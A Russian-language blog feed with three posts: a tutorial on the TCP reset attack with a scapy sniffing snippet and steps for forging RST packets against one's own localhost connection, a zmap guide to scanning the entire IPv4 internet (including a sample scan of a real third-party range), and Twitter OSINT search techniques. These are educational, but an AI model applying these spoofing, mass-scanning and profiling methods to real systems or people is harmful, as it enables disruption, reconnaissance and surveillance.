@it_ha

Как работает атака TCP Reset

2020-05-05T19:02:19.093Z

Эта атака имела последствия и в реальном мире. Опасения её использования вызвали внесение изменений в сам протокол TCP. Считается, что атака является важнейшим компонентом Великого китайского файрвола («Золотого щита»), который используется китайским правительством для цензурирования Интернета за пределами Китая. Несмотря на её впечатляющую биографию, для понимания механизмов этой атаки необязательно обладать глубокими знаниями работы TCP. Разумеется, понимание её тонкостей способно многому научить вас об особенностях реализации протокола TCP, и, как мы вскоре убедимся, вы даже сможете провести эту атаку против себя при помощи одного только ноутбука.

В этом посте мы:

Изучим основы протокола TCP
Узнаем, как работает атака
Проведём атаку против себя при помощи простого скрипта на Python.

Прежде чем приступать к анализу механики атаки, давайте сначала посмотрим, как она используется в реальном мире.

Как атака TCP reset используется в Великом файрволе?

Великий файрвол (Great Firewall, GFW) — это комплекс систем и техник, используемых китайским правительством для цензурирования Интернета для внутренних китайских пользователей. GFW активно блокирует и разрывает соединения с серверами внутри и снаружи страны, а также пассивно отслеживает Интернет-трафик запрещённого контента.

Чтобы не позволить пользователям даже подключаться к запрещённым серверам, GFW использует такие техники, как DNS pollution и IP blocking

(обе они стоят отдельных статей). Однако иногда файрволу GFW требуется позволить совершить соединение, но затем разорвать его посередине. Например, это необходимо, если требуется выполнить медленный, отложенный анализ подключения, допустим, его корреляцию с другими действиями. Или это используется, если файрволу нужно проанализировать данные, которыми обменивались в процессе соединения, а затем использовать эту информацию, чтобы принять решение о его продолжении или блокировке. Например, может быть разрешён трафик на новостной веб-сайт, но цензурированы видео, содержащие запрещённые ключевые слова.

Для этого GFW необходимы инструменты, способные прерывать уже установленные соединения. Один из таких инструментов — это атака TCP reset.

Как работает атака TCP reset?

При атаке TCP reset нападающий разрывает соединение между двумя жертвами, отправляя одной или обеим фальшивые сообщения, приказывающие им немедленно прервать соединение. Такие сообщения называются сегментом сброса TCP. При обычной работе без участия злоумышленника компьютеры отправляют сегменты сброса TCP, когда они получают неожиданный TCP-трафик и хотят, чтобы отправитель прекратил его передавать.

Атака TCP reset злонамеренно эксплуатирует этот механизм, хитростью заставляя жертв преждевременно завершить TCP-соединения, отправляя им фальшивые сегменты сброса. Если фальшивый сегмент сброса изготовлен правильно, то получатель примет его за настоящий сегмент и закроет соединение со своей стороны, прерывая дальнейшую передачу информации по этому соединению. Чтобы продолжить обмен данными, жертвы могут попытаться создать новое TCP-соединение, но у атакующего может быть возможность сбросить и это новое соединение. К счастью, поскольку для сборки и отправки поддельного пакета атакующему нужно время, атаки сбросом по-настоящему эффективны только против долговременных соединений. Кратковременные соединения. например, используемые для передачи небольших веб-страниц, обычно успевают выполнить своё предназначение к тому времени, когда у атакующего появится возможность их сбросить.

Отправка фальшивых TCP-сегментов в каком-то смысле является лёгким процессом, потому что ни TCP, ни IP не имеют никаких собственных способов проверки личности отправителя. Существует расширение IP под названием IPSec, обеспечивающее аутентификацию, однако оно используется не так широко. Интернет-провайдеры должны отказывать в передаче IP-пакетов, которые поступают с очевидно ложного IP-адреса, но, как утверждается, такая проверка выполняется очень посредственно. Всё, что может получатель — принять исходный IP-адрес и порт внутри пакета или сегмента за чистую монету, и по возможности использовать для идентификации отправителя более высокоуровневые протоколы, например TLS. Однако поскольку пакеты сброса TCP являются частью самого протокола TCP, их невозможно проверить при помощи этих высокоуровневых протоколов.

Несмотря на простоту отправки фальшивых сегментов, изготовление фальшивого сегмента и выполнение успешной атаки TCP reset всё равно может быть сложной задачей. Чтобы понять, почему так происходит, нам нужно разобраться в работе протокола TCP.

Как работает протокол TCP

Задача протокола TCP — отправка получателю точной копии блока данных. Например, если мой сервер передаёт по протоколу TCP вашему компьютеру HTML, то стек TCP вашего компьютера (часть его операционной системы, занимающаяся обработкой TCP) должна вывести мой HTML точно в том же виде и порядке, в котором его отправил мой сервер.

Однако мой HTML не передаётся по Интернету в таком идеально упорядоченном виде. Он разбивается на множество небольших фрагментов (называемых TCP-сегментами), каждый из которых по отдельности передаётся по Интернету и воссоздаётся в переданном порядке стеком TCP вашего компьютера. Этот восстановленный вывод называется потоком TCP. Каждый TCP-сегмент передаётся в собственном IP-пакете, однако для для понимания атаки нам не нужно знать никаких подробностей об IP.

Преобразование сегментов в поток требует внимательности, потому что Интернет ненадёжен. TCP-сегменты могут теряться. Они могут приходить не по порядку, отправляться дважды, повреждаться и испытывать множество других злоключений. Поэтому задача протокола TCP заключается в обеспечении надёжной передачи данных по ненадёжной сети. TCP выполняет эту задачу, требуя от обеих сторон соединения сохранения тесного контакта между друг другом и постоянной передачи сведений о том, какие блоки данных были получены. Это позволяет отправителям понять, какие данные получатель ещё не принял, и повторно передавать те данные, которые были утеряны.

Чтобы понять, как работает процесс, нам нужно разобраться, как отправители и получатели используют порядковые номера TCP для разметки и отслеживания данных, переданных по TCP.

Порядковые номера TCP

Каждый байт, переданный по TCP-соединению, имеет порядковый номер, назначаемый ему отправителем. Принимающие машины используют порядковые номера для перемещения получаемых данных в исходный порядок.

Когда две машины договариваются о TCP-соединении, каждая машина отправляет другой случайный начальный порядковый номер. Это порядковый номер, который машина назначит первому отправленному ею байту. Каждому последующему байту назначается порядковый номер предыдущего байта плюс 1. TCP-сегменты содержат

TCP-заголовки, которые являются метаданными, прикреплёнными к началу сегмента. Порядковый номер первого в теле сегмента байта включается в TCP-заголовок этого сегмента.

Следует заметить, что TCP-соединения являются двунаправленными, то есть данные могут передаваться в обе стороны и каждая машина в TCP-соединении действует и как отправитель, и как получатель. Из-за этого каждая машина должна назначать и обрабатывать собственный независимый набор порядковых номеров.

Подтверждение получения данных

Когда машина получает TCP-сегмент, она сообщает отправителю сегмента, что он был получен. Получатель делает это при помощи отправления сегмента ACK (сокращение от «acknowledge» — «подтверждение»), содержащего порядковый номер следующего байта, который он ожидает получить от отправителя. Отправитель использует эту информацию, чтобы понять, что получатель успешно получил все остальные байты до этого номера.

Сегмент ACK обозначается наличием флага ACKи соответствующего номера подтверждения в TCP-заголовке сегмента. В протоколе TCP есть всего 6 флагов, в том числе и (как мы вскоре увидим) флаг RST (сокращение от «reset» — «сброс»), обозначающий сегмент сброса.

Примечание: протокол TCP также позволяет использовать выборочные ACK, которые передаются, когда получатель получил некоторые, но не все, сегменты в интервале номеров. Например, «Я получил байты 1000-3000 и 4000-5000, но не 3001-3999». Для упрощения я не буду рассматривать выборочные ACK в нашем обсуждении атак TCP reset.

Если отправитель передаёт данные, но не получает ACK для них в течение определённого интервала времени, то он предполагает, что данные были утеряны, и отправляет их повторно, давая им те же самые порядковые номера. Это означает, что если получатель принимает одни и те же байты дважды, то он тривиальным образом использует порядковые номера для избавления от дубликатов без нарушения потока. Получатель может принимать дублирующиеся данные, потому что исходный сегмент был получен позже, уже после того, как был отправлен повторно, или потому, что исходный сегмент был успешно получен, но соответствующий ACK потерялся на пути к отправителю.

Пока такие дублирующиеся данные встречаются достаточно редко, вызываемые ими избыточные траты ресурсов не приводят к проблемам. Если все данные рано или поздно добираются до получателя, а соответствующие им ACK доходят до отправителя, то TCP-соединение справляется со своей работой.

Выбор порядкового номера для фальшивого сегмента

При создании ложного сегмента RST злоумышленнику нужно дать ему порядковый номер. Получателей вполне устраивает, что нужно принимать сегменты с непоследовательными порядковыми номерами и самостоятельно соединять их в нужном порядке. Однако их возможности ограничены. Если получатель принимает сегмент с порядковым номером, который «слишком» выбивается из порядка, то он отбрасывает такой сегмент.

Следовательно, для успешной атаки TCP reset требуется правдоподобный порядковый номер. Но что считается таким номером? Для большинства сегментов (хотя, как мы увидим позже, не для RST), ответ определяется размером TCP-окна.

Размер TCP-окна

Представьте древний компьютер начала 1990-х, подключённый к современной гигабитной волоконно-оптической сети. Сверхбыстрая сеть может передавать данные этому престарелому компьютеру с потрясающей скоростью, быстрее, чем машина сможет их обработать. Это будет нам мешать, потому что TCP-сегмент нельзя считать полученным, пока получатель не сможет его обработать.

У компьютеров есть TCP-буфер, в котором новые прибывшие данные ожидают обработки, пока компьютер работает над данными, прибывшими до них. Однако этот буфер имеет ограниченный размер. Если получатель неспособен справиться с объёмом передаваемых ему сетью данных, то буфер переполнится. Когда буфер полностью заполнен, у получателя нет другого выбора, кроме как избавляться от избыточных данных. Получатель не отправляет ACK для отброшенных данных, поэтому отправителю приходится повторно отправлять их, когда в буфере получателя найдётся свободное место. Не важно, с какой скоростью сеть может передавать данные, если получатель не успевает с ними справляться.

Представьте чрезмерно ретивого друга, который отправляет вам на почту целый поток из писем быстрее, чем вы сможете его прочитать. Внутри вашего почтового ящика есть определённое буферное пространство, но после его переполнения все непоместившиеся письма выпадут на землю, где их съедят лисы и другие твари. Другу придётся повторно отправлять сожранные письма, а пока у вас будет время на получение его предыдущих сообщений. Отправка слишком большого количества писем или объёма данных, который получатель неспособен обработать — пустая трата энергии и канала передачи.

«Слишком много» — какой это объём данных? Как отправитель понимает, когда нужно отправлять ещё данные, а когда стоит подождать? Здесь нам пригождается размер TCP-окна. Размер окна получателя — это максимальное количество неподтверждённых байтов, которое отправитель может передать ему в любой момент времени. Допустим, получатель сообщает, что его размер окна равен 100 000 (вскоре мы узнаем, как он передаёт это значение), поэтому отправитель передаёт 100 000 байт. Допустим, что ко времени, когда отправитель передал стотысячный байт, получатель отправил сегменты ACK для первых 10 000 этих байтов. Это означает, что 90 000 байтов до сих пор не подтверждено.

Так как размер окна равен 100 000, отправитель может передать ещё 10 000 байт, прежде чем ему придётся ждать новых ACK. Если после отправки этих 10 000 дополнительных байтов дальнейших ACK им получено не было, то отправитель упрётся в свой лимит 100 000 неподтверждённых байтов. Следовательно, отправитель должен будет ждать и прекратит отправлять данные (кроме повторной передачи данных, которые он считает утерянными) до момента, пока не получит новые ACK.

Каждая из сторон TCP-соединения уведомляет другую о размере своего окна в процессе установки связи (handshake), выполняемой при открытии соединения. Кроме того, размеры окон могут динамически изменяться в процессе соединения. Компьютер с большим TCP-буфером может объявить о большом размере окна, чтобы максимизировать пропускную способность. Это позволяет общающейся с ним машине постоянно передавать данные по TCP-соединению, не приостанавливаясь и не ожидая подтверждения. Компьютер с маленьким TCP-буфером может быть вынужден заявить о маленьком размере окна. Иногда отправители полностью заполняют окно и оказываются вынужденными ждать, пока какие-то из сегментов не будут подтверждены. Из-за этого страдает пропускная способность, но это необходимо, чтобы TCP-буферы не переполнялись.

Размер TCP-окна — это жёсткое ограничение на объём передаваемых неподтверждённых данных. Мы можем использовать его для вычисления максимально возможного порядкового номера (который в показанном ниже уравнении я обозначил как max_seq_no), который отправитель может отправить в текущий момент времени:

max_seq_no = max_acked_seq_no + window_size

max_acked_seq_no — это максимальный порядковый номер, для которого получатель отправил ACK. Это максимальный порядковый номер, о котором отправителю известно, что получатель точно его принял. Так как отправитель может передавать только window_size неподтверждённых байтов, максимальный порядковый номер, который он может отправить, равен max_acked_seq_no + window_size.

Из-за этого спецификация TCP гласит, что получатель должен игнорировать любые получаемые им данные, имеющие порядковые номера вне допустимого окна. Например, если получатель подтвердил все байты до 15 000, а его размер окна равен 30 000, то он будет принимать любые данные с порядковым номером в интервале от 15 000 до (15 000 + 30 000 = 45 000). При этом получатель полностью игнорирует данные с порядковыми номерами вне этого интервала. Если сегмент содержит данные, часть которых находится в пределах этого окна, а часть — за его пределами, то данные внутри окна будут приняты и подтверждены, но данные за его пределами будут отброшены. Заметьте, что мы по-прежнему игнорируем возможность выборочных ACK, которых вкратце коснулись в начале поста.

В случае большинства TCP-сегментов это правило даёт нам интервал приемлемых порядковых номеров. Однако, как было сказано ранее, накладываемые на сегменты RST ограничения ещё строже, чем ограничения для обычных сегментов передачи данных. Как мы вскоре увидим, это сделано для усложнения проведения разновидности атаки TCP reset под названием

«атака TCP reset вслепую» (blind TCP reset attack).

Приемлемые порядковые номера для сегментов RST

Обычные сегменты принимаются, если их порядковый номер находится в интервале от следующего ожидаемого порядкового номера и этого номера плюс размер окна. Однако пакеты RST принимаются только тогда, когда их порядковый номер точно равен следующему ожидаемому порядковому номеру. Вернёмся к предыдущему примеру, в котором получатель отправил номер подтверждения 15 000. Чтобы пакет RST был принят, его порядковый номер должен быть точно равен 15 000. Если получатель получает сегмент RST с порядковым номером, не равным 15 000, то он не примет его.

Если порядковый номер вне интервала, то получатель полностью его игнорирует. Однако если он находится в пределах окна ожидаемых порядковых номеров, то получатель отправляет «challenge ACK» («ACK вызова»). Это сегмент, сообщающий отправителю, что сегмент RST имеет неверный порядковый номер. Также он сообщает отправителю порядковый номер, который ожидает получатель. Отправитель может использовать эту информацию из ACK вызова для воссоздания и повторной отправки своего RST.

До 2010 года протокол TCP не накладывал этих дополнительных ограничений на сегменты RST. Сегменты RST принимались или отклонялись в соответствии с теми же правилами, что и любые другие. Однако это слишком упрощало атаки TCP reset вслепую.

Атаки TCP reset вслепую

Если атакующий имеет возможность перехвата трафика, которым обмениваются его жертвы, то может считывать порядковые и подтверждающие номера TCP-пакетов жертв. Он может использовать эту информацию для того, чтобы выбирать, какие порядковые номера давать своим фальшивым сегментам RST. Однако если атакующий не может перехватывать трафик жертв, то не будет знать, какие порядковые номера вставлять. Но он всё равно может передавать любое количество сегментов RST с любым количеством разных порядковых номеров, надеясь, что один из них окажется верным. Такая атака называется атакой TCP reset вслепую.

Как мы уже говорили, в первоначальной версии протокола TCP атакующему достаточно было только подобрать порядковый номер RST в пределах TCP-окна получателя. В статье под названием «Slipping in the Window» («Протискиваемся в окно») показано, что это слишком упрощало успешные атаки вслепую, так как для почти гарантированного успеха атакующему достаточно было просто отправить несколько десятков тысяч сегментов. Чтобы противостоять этому, правило, заставлявшее получателя принимать сегмент RST, заменили на описанный выше более строгий критерий. Благодаря новым правилам для осуществления атак TCP reset вслепую нужно отправлять миллионы сегментов, что делает их практически нереализуемыми. Подробности см. в RFC-5963.

Выполняем атаку TCP reset против себя

Примечание: я тестировал этот процесс на OSX, но получил несколько комментариев, что в Linux он не работает нужным образом.

Теперь мы знаем всё о выполнении атаки TCP reset. Атакующий должен:

Наблюдать за сетевым трафиком («сниффить» его), передаваемым между двумя жертвами
Сниффить TCP-сегмент со включенным флагом ACK и считать его подтверждённый номер
Изготовить ложный TCP-сегмент со включенным флагом RST и порядковым номером, равным подтверждённому номеру перехваченного сегмента (стоит учесть, что это предполагает медленную передачу, иначе выбранный порядковый номер быстро устареет. (Чтобы повысить шансы на успех, можно передать несколько сегментов RST с большим интервалом порядковых номеров.)
Отправить фальшивые сегменты одной или обеим жертвам, надеясь, что это приведёт к разрыву их TCP-соединения

Чтобы попрактиковаться, давайте проведём TCP-атаку на самих себя на одном компьютере, общаясь сами с собой через

localhost

. Для этого нам требуется:

Настроить TCP-соединение между двумя окнами терминала
Написать атакующую программу, которая будет заниматься сниффингом трафика
Модифицировать программу так, чтобы она изготавливала и отправляла фальшивые сегменты RST.

Давайте приступим.

1. Установка TCP-соединения между двумя окнами терминала

Мы настроим TCP-соединение при помощи инструмента netcat, который по умолчанию имеется во многих операционных системах. Подойдёт и любой другой TCP-клиент. В первом окне терминала мы выполним следующую команду:

nc -nvl 8000

Эта команда запускает на нашей локальной машине TCP-сервер, слушающий порт 8000. Во втором окне терминала выполним такую команду:

nc 127.0.0.1 8000

Эта команда пытается создать TCP-соединение с машиной по IP-адресу 127.0.0.1 с портом 8000. Теперь между двумя окнами терминала должно установиться TCP-соединение. Попробуйте ввести что-нибудь в одном окне — данные должны будут передаться по TCP-соединению и появиться в другом окне.

2. Сниффинг трафика

Мы напишем выполняющую сниффинг трафика атакующую программу при помощи

scapy — популярной сетевой библиотеки Python. Эта программа использует scapy для считывания данных, передаваемых между двумя окнами терминала, хотя и не является частью соединения. Код программы выложен в моём репозитории на GitHub. Программа сниффит трафик соединения и выводит его на терминал. Основным ядром кода является вызов метода sniff из библиотеки scapy, расположенный в конце файла:

t = sniff(
        iface='lo0',
        lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip),
        prn=log_packet,
        count=50)

Этот фрагмент кода приказывает scapy выполнять сниффинг пакетов в интерфейсе lo0 и фиксировать подробности о всех пакетах как часть нашего TCP-соединения. Вызов имеет следующие параметры:

iface — приказывает scapy слушать сетевой интерфейс lo0, или localhost
lfilter — функция фильтра, приказывающая scapy игнорировать все пакеты, не являющиеся частью соединения двух IP-адресов localhost на порте сервера. Эта фильтрация необходима, потому что на машине есть множество других программ, использующих интерфейс lo0. Мы хотим игнорировать все пакеты, не являющиеся частью нашего эксперимента.
prn — функция, которую scapy должна выполнять для каждого пакета, соответствующего требованиям функции lfilter. Функция в показанном выше примере просто выводит пакет на терминал. На следующем этапе мы изменим эту функцию, чтобы она также передавала сегменты RST.
count — количество пакетов, которое scapy должна сниффить до выхода.

Чтобы протестировать эту программу, настройте TCP-соединение из этапа 1. Клонируйте мой репозиторий GitHub, выполните инструкции по настройке и запустите программу в третьем окне терминала. Введите какой-нибудь текст в один из терминалов TCP-соединения. Вы должны увидеть, что программа начнёт фиксировать информацию о сегментах соединения.

3. Отправка фальшивых пакетов `RST`

Мы установили соединение, а программа может сниффить все проходящие через неё TCP-сегменты. Единственное, что нам осталось — модифицировать программу, чтобы она выполняла атаку TCP reset передачей фальшивых сегментов RST. Для этого мы изменим функцию prn (см. список параметров выше), вызываемую scapy для пакетов, соответствующих требованиям функции lfilter. В модифицированной версии функции вместо простой фиксации соответствующего пакета мы изучаем его, извлекаем необходимые параметры, и используем эти параметры для сборки и отправки сегмента RST. Допустим, мы перехватили сегмент, идущий от (src_ip, src_port) к (dst_ip, dst_port). У него установлен флаг ACK и номер подтверждения равен 100 000. Чтобы изготовить и отправить сегмент, мы:

Меняем местами IP-адреса отправителя и получатели, а также их порты. Это необходимо, потому что наш пакет будет ответом на перехваченный пакет. Исходная точка нашего пакета должна быть конечной точкой исходного пакета, и наоборот.
Включаем флаг RST сегмента, потому что именно он сообщает, что сегмент является RST
Присваиваем порядковому номеру точное значение номера подтверждения перехваченного пакета, так как это следующий порядковый номер, который ожидает получить отправитель
Вызываем метод send библиотеки scapy для отправки сегмента жертве — источнику перехваченного пакета.

Чтобы модифицировать нужным образом нашу предыдущую программу, раскомментируйте эту строку и закомментируйте строку над ней.

Теперь мы готовы к проведению полномасштабной атаки. Настройте TCP-соединение в соответствии с этапом 1. Запустите атакующую программу из этапа 2 в третьем окне терминала. Затем введите какой-нибудь текст в одном из терминалов TCP-соединения. В терминале, на котором вы вводили текст, TCP-соединение внезапно и загадочно прервётся. Атака выполнена!

Дальнейшая работа

Продолжите эксперименты с инструментом для атак. Проследите, что происходит, если прибавить или вычесть 1 из порядкового номера пакета RST. Убедитесь, что он должен быть точно равен значению ack перехваченного пакета.
Скачайте Wireshark и используйте его для прослушивания интерфейса lo0 во время проведения атаки. Это позволит вам увидеть подробности о каждом из передаваемых по соединению TCP-сегментов, в том числе и о ложном RST. Используйте фильтр ip.src == 127.0.0.1 && ip.dst == 127.0.0.1 && tcp.port == 8000 для фильтрации всего излишнего трафика других программ.
Усложните проведение атаки, передавая по соединению непрерывный поток данных. Это затруднит выбор скриптом правильного порядкового номера для его сегментов RST, потому что ко времени прибытия сегмента RST к жертве та уже может получить дальнейшие истинные данные, увеличив таким образом следующий порядковый номер. Чтобы противодействовать этому, мы можем передавать несколько пакетов RST, каждый из которых имеет свой порядковый номер.

Оригинальная статья
Перевел: PatientZero

By @it_ha

Как просканировать весь интернет

2020-05-05T18:51:58.168Z

Весь диапазон IPv4 адресов — это 4-миллиарда IP-адресов. Это кажется огромной цифрой, но весь IPv4 интернет можно полностью просканировать на предмет одного TCP-порта за 40 минут, например найти все веб-серверы в мире или все открытые SSH-порты. При этом достаточно одного сервера и гигабитного канала. Это полезно для исследований, например если вы собираете статистику по используемым технологиям в мире, или оцениваете процент уязвимых сервисов, открытых наружу.

Программа zmap (не путать с nmap) позволяет сканировать огромные диапазоны сетей намного быстрее любого сканера из-за особой архитектуры. В статье мы рассмотрим пример как собрать список всех веб-серверов в мире с помощью zmap. Имея список хостов с открытым HTTP портом, уже можно использовать более интеллектуальный сканер, передавая ему точный список целей.

Чем плох nmap

Для сканирования небольших подсетей традиционно используется Nmap — популярный мультитул с открытым кодом и массой пентестерских плюшек внутри. Он хорошо подходит для сканирования небольших диапазонов и выборочных хостов. У nmap есть собственный движок для написания пользовательских скриптов на языке lua (Nmap Script Engine) и много крутых готовых скриптов. Но nmap плохо подходит для сканирования больших сетей, вроде миллионов или даже миллиардов адресов. Такие задачи займут несколько дней или даже недель. Дело в том, что nmap использует сетевую подсистему операционной системы и на каждый запрос открывается полноценный сокет. Без этого не обойтись для полноценного TCP-подключения, когда нужно пообщаться с сервисом, например сделать GET-запрос на веб-сервер. Но это сильно снижает производительность, когда требуется быстрое SYN-сканирование, где стоит задача только узнать открыт ли порт.

Zmap и Masscan

Нам больше подойдут асинхронные сканеры Zmap и Masscan: оба работают значительно быстрее, используют драйвер PF_RING (сокет, значительно ускоряющий захват пакетов) и рандомизируют адреса, чтобы избежать убойного DoS'a. В отличие от Nmap, они не используют системный TCP/IP: первый генерирует голые Ethernet-фреймы, второй использует самописный TCP-стек.

Masscan считается самым быстрым сканером интернета, способным пройтись по всему IPv4 диапазону за шесть минут, но только при нескольких параллельно подключенных физических адаптерах, с одного генерируется исходящий трафик с SYN-пакетам, а на другой приходят ответы. В условиях одиночного подключения доработанный Zmap оказался почти в полтора раза быстрее. Эти рекорды, разумеется, ставились на топовом железе на каналах 10 Гбит/c, и повторить их самостоятельно будет сложно и дорого. На куда более доступном гигабитном подключении Zmap тоже работает быстрее чем Masscan за счёт более эффективного использования ресурсов канала и CPU и справляется примерно за 45-50 минут.

Упрощенная схема работы Zmap и Masscan. Отдельно работает генератор исходящего трафика и обработчик входящих ответов

Если не вдаваться в технические подробности, Zmap и Masscan используют две сущности: генератор исходящего трафика содержащего SYN-запросы и отдельно обработчик входящих ответов. Производительность здесь ограничена только шириной канала и производительностью сетевого интерфейса, а именно лимитом PPS (packets per second). Поэтому процесс сканирования можно разделить на несколько интерфейсов или даже несколько физических хостов, если существует возможность подменять Source IP на адрес обработчика входящих пакетов.

Подготовка к сканированию

Нужно иметь в виду, что сканер сильно нагружает систему и особенно сетевые интерфейсы, утилизируя весь доступный канал. Если начать сканирование без предупреждения хостера, это будет выглядеть как DDoS и вас скорее всего очень быстро отключат от сети. Также нужно быть готовым, что сканирование всего интернета спровоцирует ответную реакцию — на вас начнут жаловаться. То есть хостеру придет пачка автоматических писем с жалобами «вы нас сканируете».

Так что перед началом своего проекта лучше подготовиться:

Сообщите хостеру о своих планах — поддерживайте связь с администратором сети чтобы иметь возможность оперативно реагировать на проблемы (или чьё-то недовольство по поводу забитого канала). Убедитесь, что сканирование не будет перегружать локальную сеть или маршрутизаторы провайдера. Начинайте только после получения явного согласия от хостера.
Установите PTR-запись — ваши действия наверняка спровоцируют автоматические системы обнаружения сканирования, на эти логи посмотрят системные администраторы. Попытайтесь сделать то, что они увидят, максимально понятным. Например, установите информативную PTR запись для IP-адреса, с которого будет происходить сканирование, что-то вроде:
scanner-for-educational-project.ivan-ivanov.com
Добавьте пояснения в User-Agent — если вы сканируете веб и выполняете какие-то HTTP-запросы, установите дополнительные объяснения в User-Agent, четко объясните цель и объем сканирования. Там же можно добавить ссылку на страницу, объясняющую цели проекта.
Рандомизируйте адреса — по возможности не сканируйте сети подряд, это выглядит как явный вредоносный паттерн поведения. Используйте случайный порядок целевых адресов.

NAT, фильтры и фаероволы

Важно понимать, что zmap генерирует одновременно миллионы TCP-запросов. Если между интернетом и сканирующим сервером будет установлен роутер с NAT, фаерволл с connection tracking, DDoS-защита или любая другая система со stateful фаерволом, пытающаяся отслеживать подключения, она сломается из-за того, что не сможет переварить столько подключений. Поэтому запускать zmap находясь NAT-ом, например за домашним WiFi-роутером, нельзя.

Пробуем Zmap

Установите Zmap (инструкция) Протестируйте на чём-нибудь простом, посмотрим соседние веб-сервера с habr.com:

$ zmap -p 80 178.248.237.0/24 -B 100M -o habr.txt

Опции:

-p 80 — порт TCP 80, то есть ищем только HTTP серверы
178.248.237.0/24 — целевой диапазон адресов. Если его не указать, будет просканирован весь интернет
-B 100M — максимальная ширина канала, которую использует zmap. Если эту опцию не указать, будет утилизирован весь доступный канал
-o habr.txt — записать результаты в текстовый файл. В него попадет адреса которые ответили на запрос, то есть на которых есть HTTP-сервер

Сканирование 254 адресов с помощью zmap заняло несколько секунд

Форматы вывода zmap

По умолчанию zmap просто складывает найденные адреса в текстовый файл отделяя их переносом строки. Но также может писать результаты в формате json и xml. Опция --output-fields позволяет указать дополнительные поля, которые будет добавлены в вывод.

Попробуем для примера более расширенный формат вывода в json, с указанием порта, на которым пришел ответный запрос и TTL пакета:

$ zmap -p80  --output-module=json --output-fields=ttl,sport,dport,saddr 178.248.237.68 -o habr.com.json

# Посмотрим результат
$ cat habr.com.json
{ "ttl": 58, "sport": 80, "dport": 51309, "saddr": "178.248.237.68" }

Сканируем весь интернет!

Я попробовал запустить сканирование на VPS, и через несколько минут меня забанили с требованием проверить сервер на наличие вирусов. Это вполне логично, ведь такое сканирование выглядит как DDoS со стороны хостера. Но после обсуждения моей задачи с поддержкой, мне предложили взять выделенный сервер и сканировать на нем.

Так выглядит сканирование на интерфейсе 200Mbit/s, прогнозируемое время около шести часов:

Даже с каналом в 100 Mbit/s весь интернет можно просканировать за ночь.

Что делать с этим дальше

Теперь мы можем сказать сколько мире адресов слушают порт 80 и собрать их список. Его можно направить в L7-сканер чтобы проанализировать на application layer на предмет уязвимостей.

Например, получить HTML Title всех веб-серверов в мире с помощью nmap. На вход nmap передаем файл полученный от zmap в обычном формате:

$ nmap -sV -p 80 -v -n  --script http-title  -iL habr.txt

автор статьи: f66

By @it_ha

(Не)очевидный OSINT в Twitter

2020-04-07T17:24:31.020Z

Twitter — достаточно старый, но при этом все еще популярный у широкой аудитории сервис микроблогов, которым активно пользуются как рядовые пользователи, так и публичные личности. Лучший пример — официальные Twitter-аккаунты политиков, писателей, музыкантов, актеров. Конечно, зачастую такие учетные записи ведутся «специально обученными людьми», но если речь идет об OSINT в производственной сфере, то наблюдение за аккаунтами рядовых инженеров или менеджеров может дать великолепные результаты.

Немаловажно и то, что для эффективной работы с массивом данных из Twitter не обязательно обрабатывать каждый твит вручную, либо же бросаться в другую крайность — подключаться к API и самому писать софт. Хотя стандартный интерфейс сервиса не дает нам почти ничего в плане поисковых инструментов или инструментов фильтрации, при этом Twitter поддерживает огромное множество поисковых запросов и правил, о которых нигде толком в стандартном веб-интерфейсе или приложении не упоминается. Именно с использования этих запросов и стоит начать.

Twitter Dorks

В Twitter информацию можно искать по четырем ключевым параметрам: по контенту, по полной информации твита, по типу медиа и по пользователю.

Под «контентом» подразумевается сам текст или ключевые слова твитов. К этой категории относятся следующие запросы:

Категория «информация» включает в себя как категорию «контент», так и такие данные как дата твита, геолокацию, ретвиты и даже такие сложные вещи, как фильтрацию по количеству ретвитов, ответов и лайков.

В категории «медиа» можно отфильтровать твиты по содержимому медиа-контенту, например, искать только твиты с видео или фото, либо просто найти все записи, которые содержат какой-либо внешний URL.

С фильтрацией по «пользователю» все более-менее понятно: этот набор поисковых функций позволяет отфильтровать записи по аккаунтам. При этом мы можем наблюдать не за конкретными твитами, а, например, только за ответами объекта наблюдения конкретным пользователям.

Важно отметить, что для всех приведенных выше запросов вида «filter:type» действует правило «исключающего» запроса через использование символа «-». Например, чтобы получить все медиа от NASA кроме изображений, нужно ввести запрос вида «from:NASA filter:media -filter:images».

Весь этот набор поисковых команд выглядит как Новый год посреди лета, потому что избавляет нас от необходимости парсинга сторонними инструментами, подключения к API и прочим техническим ухищрениям и сложностям, которые присущи поиску в публичных данных.

Фактически, сам Twitter позволяет нам забирать любую интересующую нас информацию, причем по достаточно широкому спектру параметров, которые мы сможем комбинировать между собой. Что удивительно, все описанные поисковые запросы нигде очевидно не документированы. То есть Twitter позволяет тонко парсить и искать по записям своих пользователей, но особо об это не распространяется. И это прекрасно — что у нас есть такая возможность — потому что очень часто специалисты страдают от эффекта «overqualification» и усложняют себе жизнь там, где можно было воспользоваться бритвой Оккама и найти самое очевидное и при этом самое правильное решение для своей задачи.

Tweetdeck

Известным приложением для фильтрации контента по заданным параметрам и категориям является Tweetdeck. Однако если рядовой пользователь рассматривает Tweetdeck просто как очередную инкарнацию RSS-ленты, то в случае целенаправленной фильтрации публичных данных он становится весьма сильным инструментом.

Один из наиболее очевидных сценариев использования Tweetdeck в разрезе OSINT — снижение уровня шума в рабочей выборке твитов. Из коробки сервис способен создать черный список ключевых слов и твиты, содержащие их, просто не появятся в вашей ленте. Если вы занимаетесь OSINT и собираете информацию из публичных источников, то у подобной функции есть вполне очевидное применение.

Давайте возьмем условный кейс: твиттер-аккаунт Стивена Кинга. Кто сталкивался с учетной записью писателя, тот знает, что на 30% она состоит из любви к его собаке, на 60% из ненависти к президенту Трампу, а на 10% твитов выпадает все остальное. Если нам нужны именно последние 10% записей, то Tweetdeck прекрасно позволит отфильтровать большую часть неинтересного для нас мусора и работать с более-менее релевантной выборкой. Посмотрим на кусок ленты Кинга:

Отфильтруем через настройки Tweetdeck записи по ключевым словам «Trump», «president», «white house», «Obama», чтобы вырезать большую часть «политоты» из нашей выборки.

Собственно, делается это элементарно. После мута твитов с ключевыми словами, наблюдаемый нами аккаунт совершенно преобразился:

При этом Tweetdeck поддерживает все поисковые запросы, о которых шла речь в начале статьи, что делает его комфортным инструментом для поиска информации.

Сейчас многие из вас подумали, что с таким пулом поддерживаемых поисковых запросов осталось только написать софт, который будет вытягивать для вас твиты и собирать их в отчеты, например, в текстовые документы, которые потом можно будет лениво полистывать, потягивая свежий чаек. И вот тут опять работает принцип «самое простое решение — самое правильное». Ведь перед тем, как садиться писать софт, стоит открыть Google и он нам ответит: ничего писать не надо, такой софт уже есть и называется Twitter Archiver.

Twitter Archiver

